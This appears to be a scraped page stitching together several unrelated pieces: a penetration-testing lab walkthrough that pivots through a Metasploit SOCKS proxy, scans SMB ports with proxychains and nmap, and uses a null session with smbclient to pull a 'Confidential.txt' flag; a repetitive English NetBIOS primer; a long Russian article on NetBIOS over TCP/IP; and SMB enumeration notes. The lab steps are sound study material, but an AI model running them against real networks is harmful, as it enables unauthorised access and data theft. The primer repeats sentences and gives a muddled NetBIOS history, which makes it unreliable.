Let’s see how we can use it to independently verify that 172.30.111.10 has TCP 139, 445 open. To do this we need to set up a socks proxy. Basically a socks proxy re-routes traffic from the source to the destination by hiding the source from the destination; any traffic from the pentester machine looks like its originating from 10.130.40.70 instead.

To do this we run the Metasploit socks4a module. I only set the SRVPORT option as follows.

msf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  9050             yes       The port to listen on.

Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  

msf auxiliary(socks4a) > run
[*] Auxiliary module running as background job 0.

[*] Starting the socks4a proxy server

Ok. Proxychain uses the config file etc/proxychains.conf so edit that file to add one line

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 9050

Make sure the port number in the conf file matches SRVPORT in socks4a. Once socks4a is up and running you can check it by

msf auxiliary(socks4a) > netstat -antp | grep 9050
[*] exec: netstat -antp | grep 9050

tcp        0      0 0.0.0.0:9050            0.0.0.0:*               LISTEN      3763/ruby

Ok so now we can run nmap via proxychains through the socks4a module. Fire up another terminal window and run this. Basically simply precede any command with “proxymap”

root@Kali:~# proxychains nmap -sT -n 172.30.111.10 -p 139,445
ProxyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-11 13:55 +08
|S-chain|-<>-127.0.0.1:9050-<><>-172.30.111.10:139-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-172.30.111.10:445-<><>-OK
Nmap scan report for 172.30.111.10
Host is up (0.11s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds

Note the S-chain lines. Its basically showing the Kali commands are tunneled through. We confirmed independently of portscan/tcp that the same ports are open on the host. I also mysteriously found that the -sV argument doesn’t work; ports show up as filtered instead.

Now let’s try a null session attack on 172.30.111.10. Before that we could run enum4linux just to enumerate the hell out of the machine, but eh I’m lazy and besides the lab manual just says to try null sessions directly. Since we’re on Linux we use smbclient. As usual enumerate the shares first

root@Kali:~# proxychains smbclient -L 172.30.111.10
ProxyChains-3.1 (http://proxychains.sf.net)
WARNING: The "syslog" option is deprecated
|S-chain|-<>-127.0.0.1:9050-<><>-172.30.111.10:445-<><>-OK
Enter WORKGROUP\root's password: 
OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

	Sharename       Type      Comment
	---------       ----      -------
	My Documents    Disk      
	IPC$            IPC       Remote IPC
	C               Disk      
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	FooComShare     Disk      
|S-chain|-<>-127.0.0.1:9050-<><>-172.30.111.10:139-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-172.30.111.10:139-<><>-OK
OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------

Out of the above, the only interesting thing is FooComShare. We could connect to IPC$, C$ to see whats on there but lets try the unusual things first.

root@Kali:~# proxychains smbclient //172.30.111.10/FooComShare -N
ProxyChains-3.1 (http://proxychains.sf.net)
WARNING: The "syslog" option is deprecated
|S-chain|-<>-127.0.0.1:9050-<><>-172.30.111.10:445-<><>-OK
OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]
smb: \> ls
  .                                   D        0  Tue Jul 24 15:33:55 2012
  ..                                  D        0  Tue Jul 24 15:33:55 2012
  Confidential.txt                    A      458  Tue Jul 24 15:43:01 2012

		654184 blocks of size 4096. 232002 blocks available

smb: \> get Confidential.txt /root/Confidential.txt
getting file \Confidential.txt of size 458 as /root/Confidential.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)

All right. We found an unusual Confidential.txt so lets read it.

root@Kali:~# cat Confidential.txt
Confidential: The contents of this document are confidential and intended solely for the recipient.
Reproduction of, or forwarding to anyone not directly sent this document is strictly forbidden.

Prjects:

1)
Name: FooPjAndroid
CPO: Frank Otavalli
CPE: Brand McHam
Budget: $1.587.000
Description: Android payment platform


2)
Name: FooPjIPhone
CPO: Frank Otavalli
CPE: Ana  Irilia
Budget: $1.160.000
Description: Iphone payment platform

And we’re done. That’s basically the flag.

Summary: NetBIOS offers communication services between applications and computers on local networks. Look here to learn insight about NetBIOS – Network Basic Input/Output System.

Definition Of NetBIOS

Standing for Network Basic Input/Output System, NetBIOS is a networking industry standard developed by IBM, Microsoft, and Sytek. It is currently mostly used by Microsoft Windows operating systems to provide certain services to the other network hosts.

NetBIOS provides services associated with the OSI model’s session layer, allowing applications on different computers to communicate over the local network. It also allows the proper transmission of data over the network.

NetBIOS typically communicates on ports 137, 138, and 139.

History Of NetBIOS

• In 1985, IBM first created the NetBIOS protocol for use in Microsoft’s Windows operating system.
• In 1985, Microsoft implemented NetBIOS for MS-Net network technology.
• In 1986, Novell published the Advanced Novell NetWare 2.0, which features its own NetBIOS emulator.
• In 1987, a method called NetBIOS over TCP/IP (NBT) was published to encapsulate NetBIOS in TCP and UDP packets.
• In 1987, after the PS/2 computer went on sale, IBM released a PC LAN Support Program that included a driver for NetBIOS.
• Since its original publishing in a technical reference book from IBM, the NetBIOS API specification has become a de-facto standard.
• The NetBIOS API specification has become a de facto standard since it was first published in IBM’s technical reference book.

Services Of NetBIOS

NetBIOS offers three distinct services:

Name Service (NetBIOS-NS)

Name service is used for name registration and resolution.

It offers the following functions for NetBIOS hosts and groups.

• Add name: This function registers a NetBIOS name.
• Add group name: It registers a NetBIOS group name.
• Delete name: It deletes a registered NetBIOS name or group name.
• Find name: This function can look up and find a NetBIOS name on the network.

Datagram Distribution Service (NetBIOS-DGM)

Datagram distribution service is used for connectionless communication and data transmission.

It provides the below functions.

• Send Datagram: It sends a datagram to a specific NetBIOS name.
• Send Broadcast Datagram: – It sends a datagram to all NetBIOS hosts and names on the network.
• Receive Datagram: This feature can wait for an incoming packet of a datagram from the Send Datagram operation.
• Receive Broadcast Datagram: It can wait and accept a packet from a Send Broadcast Datagram operation.

Session Service (NetBIOS-SSN)

Session Service is used for connection-oriented communication and data transmission.

It supports the following features.

• Call: This feature starts a session to a remote and specific NetBIOS name.
• Listen: It can listen for attempts to start a session to a NetBIOS name.
• Hang Up: It can be used to close an established session.
• Send: This function sends a packet to the computer at the other end of a session.
• Send No Ack: It functions like Send but does not require an acknowledgment.
• Receive: It can wait for an incoming packet to arrive from a Send at the other end of a session.

How Does NetBIOS Work with Applications?

What is NetBIOS name used for? Software applications on a NetBIOS network locate and identify each other through their NetBIOS names. In Windows, the NetBIOS name is separate from the computer name and can be up to 16 characters long.

Software applications on the NetBIOS network locate and identify each other by NetBIOS names. In Windows, the NetBIOS name is distinguished from the computer name, and it can be up to 16 characters long.

Applications on other computers get NetBIOS names through UDP, a simple OSI transport layer protocol based on port 137 for client/server network applications.

The Windows Internet Naming Service provides name resolution services for NetBIOS.

The Windows Internet Naming Service provides name resolution services for NetBIOS. When a client sends a command through TCP port 139 to “call” another client (server), two applications will start a NetBIOS session.

NetBIOS also allows connectionless communication via UDP. The application listens to UDP port 138 to get NetBIOS data reports. The Datagram Service sends and receives the datagrams and broadcasts datagrams.

How to Disable NetBIOS?

• Right-click on the Network icon on the start bar and click on open network and sharing center.
• Click on Change adapter settings
• Right-click on your network interface and click on Properties.
• Select Internet Protocol Version 4(TCP/IPv4) and click on Properties.
• Click on Advanced on the properties window and the WINS tab and select Disable NetBIOS over TCP/IP.
• Click OK, then NetBIOS over TCP/IP is disabled now.

Wind It Up!

Now, by reading this article, you may have a further understanding of the NetBIOS – Network Basic Input/Output System.

NetBIOS (Network Basic Input/Output System, Сетевая Базовая Система Ввода/Вывода) — это интерфейс для работы в локальных сетях, разработанный фирмой Sytek для компании IBM в 1983 году. Как гласит RFC1001: NetBIOS defines a software interface not a protocol. There is no «official» NetBIOS service standard. И всё же NetBIOS, по моему скромному мнению, и интерфейс и протокол, поэтому, с вашего позволения, назовем его стандартом (не смотря на то, что официально он так и не был полностью стандартизован). Довольно часто NetBIOS называют сетевым протоколом, но это не совсем корректно, поскольку NetBIOS реализован в Windows сразу в нескольких компонентах операционной системы :: в виде интерфейса в библиотеках пользовательского режима и режима ядра, и в виде модуля в стеке сетевого протокола. Интерфейс NetBIOS представляет из себя стандартный набор для разработки приложений (API), протокол NetBIOS функционирует на транспортном/сеансовом уровне стека и используется для передачи данных, управления сеансом и прочих нужд.

Для чего же в своё время потребовался NetBIOS? Для осуществления возможности взаимодействия станций в небольших (локальных) сетях. Что включает в себя возможность взаимодействия по сети? Это назначение станции сетевого имени, по которому она будет доступна в сети, это возможность найти станцию в сети по её имени, возможность соединиться с ресурсами станции и начать с обмениваться с ними данными. Это и возможность получить список сетевых станций, которые подключены к сегменту сети и многое другое, что может быть определено термином «сетевое взаимодействие».

Особенностью NetBIOS является возможность работы «поверх» основных сетевых протоколов, таких как IPX, NetBEUI и TCP/IP. В своё время реализация протокола NetBIOS в Windows была существенно переработана и ориентирована на использование протокола TCP/IP (как наиболее перспективного), получив новое название “NetBIOS over TCP/IP” (NetBIOS через TCP/IP). NetBIOS через TCP/IP имеет псевдоним NetBT (NBT). NetBIOS через TCP/IP представляет собой промежуточный уровень между NetBIOS и TCP/IP и создан для того, чтобы приложения на базе NetBIOS могли работать в сетях TCP/IP, то есть предназначен для отображения имен NetBIOS в IP-адреса и, наоборот. Как мы уже упоминали, NetBIOS разрабатывался на заре становления сетевых технологий, и с того времени часто модифицировался, однако параллельно с ним создавались и другие стандарты сетевого взаимодействия, которые существенно опережали NetBIOS по функционалу. На данный момент NetBIOS считается устаревшим стандартом и не рекомендуется к использованию, заместо него, в части организации передачи данных по сети, Microsoft предлагает использовать сокеты (windows sockets), почтовые каналы (mailslots), именованные каналы (named pipes). Для оставшегося функционала, то есть для сервисных целей разработан новый протокол LLMNR (через PNRP):

NetBIOS через TCPIP не поддерживает IPv6. Поэтому для целей организации взаимодействия в локальном сетевом сегменте без участия опорных серверов (DNS/WINS) с использованием IPv4/IPv6 разработан протокол LLMNR/PNRP.

Однако, не смотря на устаревание NetBIOS, поддержка его сохранена и по сей день, код NetBIOS через TCP/IP всё еще присутствует в составе последних версий Windows. Причиной столь огромной популярности стандарта является тот факт, что до определенного времени NetBIOS оставался основным интерфейсом программирования сетевых приложений, и с использованием функций NetBIOS было написано огромное количество разнообразного программного обеспечения.
NetBT является неотъемлемой частью сетевого стека TCP/IP ОС Windows и инсталлируется вместе с протоколом TCP/IP. Части функционала NetBT встречаются в коде библиотек, переменных окружения (%COMPUTERNAME%, %USERDOMAIN%), коде некоторых современных антивирусных продуктов, почтовых серверов, баз данных. NetBIOS до сих пор используется в алгоритме добавления рабочей станции в домен, в процедурах работы с сетевым окружением, подключения сетевых дисков. Об исключительном значении протокола NetBIOS через TCP/IP говорит уже и тот факт, что штатными средствами самой ОС протокол NetBIOS может быть только отключен, но никак не удален. Удаление же его возможно только вместе с удалением протокола TCP/IP.

До определенного времени считалось актуальным высказывание “Сеть Windows не живет без NetBIOS”, но начиная с версии Windows 2000, стало возможным избавиться от использования соединений на основе NetBIOS через TCP/IP и перейти исключительно на соединения по протоколу SMB (Server Message Block). Подобные соединения еще называются TCP/IP Direct Hosting (или DirectSMB). В соединениях на основе SMB отсутствует начальная стадия установки сессии TCP под названием “NetBIOS session setup” и используется единственный порт TCP/445.

SMB — это простой протокол удаленной работы с ресурсами (дисками, устройствами) компьютера. Удивительно, но SMB долгое время довольно тесно взаимодействовал с NetBIOS в части именования и разрешения имен, а так же требовал наличия установленной сессии NetBIOS для взаимодействия между узлами (работал поверх NetBIOS). Теперь же SMB представляет собой самостоятельный протокол, получивший дальнейшее развитие в виде стандарта под названием CIFS, полностью независимого от NetBIOS.

Службы NetBIOS

Далее не будет лишним посмотреть, какие же сетевые порты используются сервисами NetBIOS:

Подобная структура отражает требование RFC 1001, RFC 1002, регламентирующее наличие трех базовых сервисов, которые реализуют эмуляцию NetBIOS в системе Windows.

Реализация NetBIOS

NetBIOS через TCPIP реализован в качестве драйвера уровня ядра netbt.sys, поддерживающего специализированный интерфейс TDI (общий интерфейс для взаимодействия с драйверами, который позволяет сервисам взаимодействовать с транспортными протоколами). Все сервисы, которые работают с NetBT (рабочая станция, сервер, браузер, сетевой вход в систему) используют TDI напрямую. Пользовательские приложения используют стандартный WinAPI (функции, вызовы), поддерживаемый библиотекой netapi32.dll, которая, в свою очередь, является простой «заглушкой» и перенаправляет вызовы к функциям netbios.dll. Функции библиотеки netbios.dll передают запросы к драйверу уровня ядра под названием NetBIOS-эмулятор (%SystemRoot%\System32\Drivers\netbios.sys), который транслирует команды NetBIOS, переданные приложением, в команды TDI-интерфейса.

Картинка с сайта: datadump.ru

Принципы работы NetBIOS

Собственно, как же работает NetBIOS? Я попытаюсь дать, пока что, собственное объяснение принципов работы стандарта. Все мы понимаем, что для того, чтобы станции могли взаимодействовать по сети, они должны подчиняться определенным правилам, выполнять предписанные действия на различных этапах работы. Этими этапами являются: заявление о себе (регистрация), попытка взаимодействия (обнаружение имен, установление сеанса, управление сеансом), отключение себя (освобождение имени). Поэтому, все узлы, использующие NetBIOS через TCP/IP, применяют регистрацию, обнаружение и освобождение имен, а так же многие другие методы, предоставляемые стандартом. Давайте рассмотрим их детальнее:

• Регистрация имен. Начиная работу, узел NetBIOS пытается заявить о себе в сети, другими словами — сказать «Я есть узел такой то, с таким то именем». Регистрация имени NetBIOS происходит при помощи широковещательного или направленного только к серверу имен NetBIOS (WINS-сервер) запроса. Если какой-либо узел пробует зарегистрировать уже существующее в сети имя NetBIOS, то либо узел с данным именем, либо сервер имен NetBIOS (WINS-сервер) посылает отказ в регистрации имени, и узел, инициировавший регистрацию, получает в качестве ответа сообщение об ошибке.
• Обнаружение имен. Когда узел уже зарегистрировался, работает в сети, но вдруг хочет связаться с другим узлом, он должен узнать IP-адрес этого узла. Для этого, узел-инициатор посылает запрос на определение имени, содержащий искомое NetBIOS имя. Для запроса используется широковещательный пакет или адресный запрос серверу имен NetBIOS (WINS). Узел, которому принадлежит искомое имя, или WINS-сервер отправляют обратно положительный/отрицательный ответ об определении имени. В результате инициатор получает информацию об IP-адресе целевого узла.
• Освобождение имен. Освобождение имени происходит, если станция, приложение или служба NetBIOS прекращает работу. К примеру, если станция отключается некорректно, то она перестает отвечать на запросы, и другие станции через некоторое время прекращают попытки связаться с ней. Если в сети используется сервер имен NetBIOS, то перед корректным выключением станция посылает ему запрос на удаление информации о всех ресурсах, которые она поддерживала. В таком случае говорят, что имя NetBIOS освобождено, и доступно для использования другими узлами.
• Запуск/завершение сеанса. Вероятно, мы пытались обнаружить сетевое имя не просто так, а с какой-то целью. А что если мы хотим обменяться данными: получить/передать файлы? Для этого нам необходимо установить сеанс связи с целевой станцией.
• Надежная передача данных сеанса. После установления надежного сеанса связи с использованием транспортного протокола TCP, мы начинаем обмен данными. Например, передачу файлов.
• Ненадежная передача данных сеанса. После запроса на разрешение имени, мы начинаем передачу информации с помощью транспортного протокола UDP. Например, поиск имени.
• Возможность мониторинга и диагностики. Позволяет запрашивать статус удаленных и локальных ресурсов.

Разрешение имен в NetBIOS изначально было основано на широковещательных запросах (станция заявляет о себе каждые 60 секунд). Собственно, с самого начала NetBIOS и разрабатывался таким образом, чтобы использовать только широковещательные сообщения для локализации устройств в сети. Это и послужило одной из причин сокращения популярности стандарта, поскольку широковещательные запросы существенно увеличивают объем трафика в сети и являются немаршрутизируемыми. Только значительно позже, для устранения проблем широковещательного шторма и отсутствия маршрутизации запросов, решено было создать выделенный узел, который бы принимал запросы и давал ответы об именах в сети — WINS-сервер.

Для того, чтобы лучше понять логику работы NetBIOS через TCP/IP, давайте немного отступим от основной линии рассуждений, и рассмотрим по-отдельности некоторые сущности стандарта.

Имя NetBIOS

Одной из основных целей разработки NetBIOS являлось создание простого интерфейса, который давал бы возможность пользователям назначать станциям символьные имена вида MyComputer. Очевидно, что без подобных имен нам сложно обойтись, поскольку именно легкие имена позволяют человеку «узнать» (однозначно идентифицировать) ресурс, к которому он хочет обратиться по сети. Программам то всё-равно, вместо имен они могут использовать любые идентификаторы, однако человеку удобнее работать именно с фонетическими, понятными и легко запоминающимися маркерами — именами. В качестве имени NetBIOS используется простое одноранговое (“плоское”) имя, без какой-либо иерархической структуры (в противоположность DNS). Подобная простота и отсутствие иерархии имени имеют и оборотную сторону — имена должны быть уникальными.

Имя NetBIOS имеет длину 16 байт.

Первые 15 — собственно имя, 16й — тип ресурса или суффикс (значение в диапазоне 00-FF, шестнадцатеричное представление). NetBIOS имя и имя компьютера (hostname) совпадают по первым 15 символам. Хранится это имя в параметре реестра с именем hostname, который располагается в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters.
С развитием сетевых технологий логическая структура сетей усложнялась, и помимо станций появились такие понятия как «рабочая группа» и «домен». Пришло осознание того, что ресурсы бывают разнотипными, а имя может быть присвоено не только станции. Опираясь на новые данные, было введено понятие «тип ресурса», который предназначался для логического разделения ресурсов по назначению, это позволило присваивать одно и то же имя нескольким ресурсам одновременно.

NetBIOS имя закрепляется не за станцией, как многие привыкли думать, а за ресурсом и только за ним.

Ресурсы динамически регистрируются сначала в операционной системе (в которой ресурс и создается), а затем [при помощи оповещений] распространяются по сети, которой принадлежит станция. Регистрация ресурса происходит в тот момент, когда в операционной системе стартует сервис (читать: приложение), использующий NetBIOS, либо авторизуется пользователь.
Типы ресурсов стандартизованы по классам и имеют следующие значения:

• Уникальное (Unique, U) — к этому имени может быть привязан только один адрес IP;
• Групповое (Group, G) — к этому имени не привязан единственный адрес, имя может содержать множественные IP-адреса; На запрос WINS-клиента об адресе всегда возвращается limited broadcast address 255.255.255.255;
• Группа Интернет (Internet Group, Special Group, I) — к этому имени может быть привязано до 25 адресов; для каждого адреса хранится свой TTL. Используется для управления именами домена в WinNT;
• Доменное имя (Domain Name, D) — к этому имени может быть привязано множество адресов;

Поскольку NetBIOS не использует номера портов, как это делает TCP/IP, адресное пространство имен должно быть способно поддерживать множество имен для каждой системы. К примеру, если на одной станции реализованы файловый сервер, служба Exchange и сервер удаленного доступа, то каждый из этих сервисов должен иметь отличное от других имя, однозначно определяющее сам сервис. Для этой цели авторы NetBIOS придумали понятие суффикса, который фактически является аналогом порта в TCP/IP. Как было указано выше, он занимает последний, 16й байт в имени и однозначно идентифицирует сервис.

Полный перечень типов общих ресурсов NetBIOS

У имен NetBIOS имеется следующий нюанс — все имена длиной менее 15 символов дополняются пробелами (код символа 20 в шестнадцатеричном представлении), а в некоторых случаях символами BE либо BF. Поскольку к работе над NetBIOS подключались многие разработчики, то и типов общих ресурсов существует великое множество, однако в таблице я привожу только те типы, которые используются Microsoft.

Тип ресурса можно посмотреть командой nbtstat -a <имя_компьютера>:

Основное назначение этой команды — показать информацию из локальной таблицы NetBIOS имен для всех интерфейсов, установленных на станции. Имеет алиас — nbtstat -n.

Методы разрешения имени NetBIOS

Очевидно, что тут мы будем говорить о том, какими средствами NetBIOS удается найти соответствие имени и IP-адреса ресурса? Какие же методы определения имен доступны интерфейсу NetBIOS? Сразу обращу ваше внимание на то, что не все из перечисленных методов относятся непосредственно к стандарту NetBIOS. Я считаю, что к NetBIOS относятся только лишь: LMHOSTS, WINS, кеш имен NetBIOS, широковещательный запрос в подсети. Такие же понятия как HOSTS и DNS относятся уже к TCP/IP Direct Hosting. Но поскольку понятия «NetBIOS имя станции» и «имя хоста» довольно тесно взаимосвязаны в современных ОС Windows, то resolver (модуль, разрешающий имена) использует все доступные методы для нахождения соответствия, умело комбинируя разнородные методы определения имен.

• NetBIOS name cache (локальный кеш NetBIOS) — специальная структура в памяти процесса для записи результатов разрешения имен. Время жизни записей — 10 минут. Приложение смотрит в локальном кэше, нет ли там искомого имени. И правда, зачем нам тратить время на другие методы, если может статься, что мы недавно уже обращались к станции, и имя её содержится в локальном кеше. Локальный кеш NetBIOS можно посмотреть командой «nbtstat -r». Некоторые параметры, которые влияют на функционал NetBIOS name cache можно найти в ветке реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters.
• NetBIOS name server (WINS, NBNS). Если сказать иначе, WINS это DNS от Microsoft для NetBIOS. Станции с определенными типами узлов обращаются к WINS-серверу за разрешением имени.
• IP subnet broadcast — широковещательное сообщение в IP-подсети. Станции с определенными типами узлов формируют широковещательный запрос для разрешения имени.
• Локальный LMHOSTS файл. Аналог файла hosts для NetBIOS. Файл, в котором, в специальном формате, хранится таблица соответствия имен NetBIOS IP-адресам. Размещается в директории %SystemRoot%\System32\Drivers\Etc.
• Локальный HOSTS файл. Файл, в котором, в специальном формате, хранится таблица соответствия имен хостов (TCP/IP hostname) IP-адресам. Располагается в директории %SystemRoot%\System32\Drivers\etc. Этот метод непосредственно не относится к NetBIOS через TCP/IP, а относится уже к TCP/IP Direct Hosting. Если NetBIOS имя найти не удалось, то имя считается как TCP/IP hostname и разрешается уже методами HOSTS+DNS.
• DNS-сервер. Запрос к DNS-серверу. DNS-сервер возвращает запись о соответствии имени хоста IP-адресу.

Тип узла NetBIOS (NodeType)

Поскольку методы регистрации имен в сети у NetBIOS тоже не стояли на месте, и если изначально все сводилось, как мы уже упоминали, к широковещательным запросам, то со временем начали появляться и другие способы зарегистрировать имя (например, с использованием WINS-сервера). В связи с необходимостью разделять логику работы станций, было введено понятие NodeType (NBT-узел) для описания разницы в способах регистрации и распознавания имен. Проще говоря, разные типы узлов имеют свои обособленные алгоритмы разрешения имен в IP-адреса:

• B-node (тип 0x01, широковещательный). Для преобразования имен станций в IP-адреса используется только широковещательные сообщения. Минус этого типа заключается в том, что широковещательные запросы, обычно, режутся маршрутизаторами, поэтому имена могут быть разрешены только в пределах одного сетевого сегмента.
• P-node (тип 0x02, одноранговый). Для разрешения имен используются WINS-сервер (сервер имен NetBIOS). Сессии клиента длятся на три этапа: регистрация имени, обновление имени и освобождение имени. Если WINS не работает, то ни регистрации, ни разрешения не происходит.
• M-node (тип 0x04, смешанный, гибрид B- и P-узлов). Сначала действует как B-node, то есть для разрешения имен используются широковещательные сообщения. Если не получает ответа на широковещательный запрос, то переключается в P-node и использует WINS-сервер.
• H-node (тип 0x08, гибридный, гибрид B- и P-узлов). Сначала пытается стать P-node и действовать через WINS-сервер. Если WINS-сервер не доступен, переключается в B-node и пытается функционировать через широковещательные запросы. Переключается обратно в P-node, как только находит WINS-сервер.

Microsoft использует свою собственные, модифицированные версии типов, так называемые Microsoft-Enhanced B-node, P-node, M-node, H-node. Модификация подразумевает, помимо стандартных алгоритмов, описанных выше, использование файла LMHOSTS, функции API Winsock — gethostbyname(), которая использует в своей логике обращение к HOSTS/DNS.

Пополнив многообразие сетевых разработок, с 1990 года начал активно внедряться протокол DHCP, и пришлось оптимизировать NetBIOS под работу с ним. Так, если в сети используется DHCP для автоматического назначения IP-адресов, то можно установить метод разрешения имен для DHCP-клиентов. Другими словами, можно назначить тип узла (nodetype), через установку опцию DHCP-сервера 046 WINS/NBT. Либо, в случае отсутствия DHCP-сервера, можно локально задать тип узла в реестре через параметр nodetype ключа HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netbt\Parameters.
По умолчанию, при отсутствии WINS-сервера в сети, Windows выставляет тип узла в значение «модифицированный B-node», а при наличии WINS-сервера тип узла выставляется в гибридный, H-node.
Увидеть тип узла можно посредством команды ipconfig /all, в параметре “тип узла”:

Порядок разрешения имен NetBIOS

Это нетривиальный процесс, который во времени претерпевал большое количество изменений, связанных с введением и преобразованием протоколов, ответственных за сетевое взаимодействие. В данный момент сам процесс разрешения имен NetBIOS вызывает большое количество споров. Связано это с тем, что в сети имеется огромное количество различных источников информации, в которых приводятся довольно расплывчатые формулировки, которые зачастую неактуальны или вовсе ошибочны. Я попробую выразить свою точку зрения на вопрос разрешения имен NetBIOS в частности, и шире — на алгоритм разрешения имен в ОС Windows в общем. Надо понимать, что в Windows существуют два параллельных направления разрешения имен — через функции API Windows Sockets и через функции API NetBIOS. Код ОС , то есть приложения, сервисы, драйвера и прочее, могут использовать тот или иной API. Соответственно, сюда относятся и механизмы разрешения имен самой ОС, которые используются при обращении пользователя к сетевым ресурсам стандартными средствами, например, при использовании проводника или средства подключения сетевых дисков. Таким образом, именно от того, какой метод использует тот или иной компонент ОС и зависит, в конечном итоге, алгоритм разрешения имени.

Начиная с Windows 2000, Microsoft существенно изменила порядок разрешения имен. Это было мотивировано разделением SMB и NetBIOS на две независимые ветви кода.

Если приложение использует функции API Winsock

В этом случае, процесс, инициировавший разрешение имени, использует такие функции API Windows Sockets как: getaddressbyname, gethostbyname, getnameinfo, getaddrinfo, и последовательность разрешения имени, в этом случае, такова:

1. Сравнивает искомое имя с собственным. Не я ли это?;
2. Проверяется наличие записи об узле в в локальном кеше DNS-резолвера. На этом же этапе проверяются записи, присутствующие в файле hosts (%SystemRoot%\System32\Drivers\etc), поскольку они, с определенным интервалом, импортируются в кеш DNS-резолвера;
3. Делается запрос к DNS на наличие записи о хосте в зоне;
4. Проверяется локальный кеш имен NetBIOS (NetBIOS name cache);
5. Опрашивается WINS-сервер;
6. Делается широковещательный запрос;
7. Проверяется наличие записи в файле LMHOSTS. Файл располагается в директории %SystemRoot%\System32\Drivers\etc;

Как мы видим, даже при использовании функций API Winsock, в некоторых случаях, в алгоритме разрешения имени вызываются функции API NetBIOS. То есть, все вышеописанные функции API в своей логике содержат ветвления, которые могут инициировать передачу управления функциям API NetBIOS. Реализовано это с целью сохранить совместимость приложений. Однако, если исходное имя, которое должно быть разрешено:

• Представляет из себя FQDN (Full Qualified Domain Name, полностью уточненное доменное имя), то есть запись вида host.domain.ru.
• Имеет длину более 15 символов.
• Имеет символ «.» в своём составе.

..то попытки разрешить имя с помощью функций API NetBIOS вообще не производится. В таком случае, вышеописанные функции в своем алгоритме по условию не вызывают функций разрешения имен API NetBIOS.
Если же имя короче 16 символов (имеет длину не более 15 символов), то в случае неудачной попытки разрешения имени с помощью HOSTS+DNS, функции API Winsock передают его в API NetBIOS (где оно дополняется пробелами) для разрешения уже логикой NetBIOS.

Если приложение использует функции API NetBIOS

В этом случае, логика разрешения имен кардинально меняется. Сперва вызывается единственная функция API NetBIOS которая имеет одноименное название Netbios:

Параметром данной функции является указатель на структуру NCB, в члене ncb_command которой, с целью поиска имени, указывается код команды NCBFINDNAME. В случае ошибки выполнения функции, производится попытка разрешения уже при помощью API Winsock (описан выше).

Последовательность разрешения имен через API NetBIOS в IP-адреса зависит, как мы уже говорили выше, от типа узла.

Например, для Модифицированного H-узла (Enchanced H-node) она следующая:

1. Локальный кеш имен NetBIOS;
2. WINS-сервер;
3. Широковещательный запрос;
4. Файл LMHOSTS;
5. Локальный кеш DNS. Файл hosts (записи из него включаются в локальный кеш DNS);
6. DNS-сервер;

То есть, как мы видим из последовательности, используется сначала логика разрешения имен NetBIOS, а потом уже, если имеется необходимость, вызываются функции API Winsock.
Исходя из всего вышеописанного, довольно сложно составить какой-то обобщенный алгоритм разрешения имен, однако я все же постараюсь это сделать. Для наглядной демонстрации описанной логики я приведу схему, описывающую собственное понимание происходящего. Стоит, однако, отметить, что в зависимости от API, которое используется для разрешения имени, части данной схемы могут меняться местами.

Картинка с сайта: datadump.ru

На этой оптимистической ноте я и хотел бы завершить теоретическую часть обзора NetBIOS через TCP/IP. Очевидно, что на данный момент NetBIOS морально устарел и содержит впечатляющее количество недоработок. К примеру, одним из существенных недостатков безопасности NetBIOS является предоставление информации о сетевых сервисах (ресурсах) любому узлу в сети в ответ на типовой запрос, то есть отсутствуют какие бы то ни было критерии разграничения доступа. Вероятно, архитектура NetBIOS уже настолько неоптимальна, что в какой-то момент разработчики MS отказались от её доработки с целью поддержки современных сетевых стандартов. Microsoft, судя по всему, всячески пытается избавиться от протокола, и подтверждением тому служит и тот факт, что был написан аналог — PNRP (LLMNR). В следующих статьям мы познакомимся с такими часто встречающимися на практике примерами, как подключение к ресурсам посредством NetBIOS, построение объектов сетевого окружения через NetBIOS.

Vulnerabilities in SMB Shares are Medium risk vulnerability that is one of the most frequently found on networks around the world. This issue has been around since at least 1990 but has proven either difficult to detect, difficult to resolve or prone to being overlooked entirely.

Things that might be interesting:

• check for null session
• listing of shares
• domain info
• password policy
• RID cycling output

Default shares are C$, ADMIN$, IPC$

Working ports below:

• Port 135 – Remote Procedure Call (RPC)
• Port 137 – NetBIOS Name Service
• Port 138 – NetBIOS Datagram Service
• Port 139 – NetBIOS Session Service

Information that can be gained includes (but not limited to):

• Users and groups / shares
• Operating system information
• Password policies / Password hashes
• Privileges / Permissions
• Available shares

OS targets:

• Windows server before 2003, 2008, 2012, 2016
• Older Unix and Linux hosts

Before going more deeper, it’s very important to understand services we are targeting i.e NETBIOS. NETBIOS provides three distinct services:

• Session service (NetBIOS-SSN) for connection-oriented communication.
• Name Service (NETBIOS-NS) for name registration and resolution.
• Datagram distribution service (NetBIOS-DGM) for connectionless communication.

From above three services, we only going to focus on first two of them i.e NetBIOS-SSN & NETBIOS-NS

Session service (NetBIOS-SSN)

• Session mode lets two computers establish a connection, allows messages to span multiple packets, and provides error detection and recovery. In NBT (Netbios over TCP/IP), the session service runs on TCP port 139.

Name Service (NetBIOS-NS)

• In order to start sessions or distribute datagrams, an application must register its NetBIOS name using the name service.
• NetBIOS names are 16 octets in length and vary based on the particular implementation.
• The name service operates on UDP port 137 (TCP port 137 can also be used, but rarely is).

SAMBA

• Samba is a free software re-implementation of the SMB/CIFS networking protocol, and was originally developed by Andrew Tridgell.
• Samba provides file and print services.
• Samba runs on most Unix, OpenVMS and Unix-like systems, such as Linux, Solaris, AIX and the BSD variants, including Apple’s OS X Server, and OS X client (version 10.2 and greater).
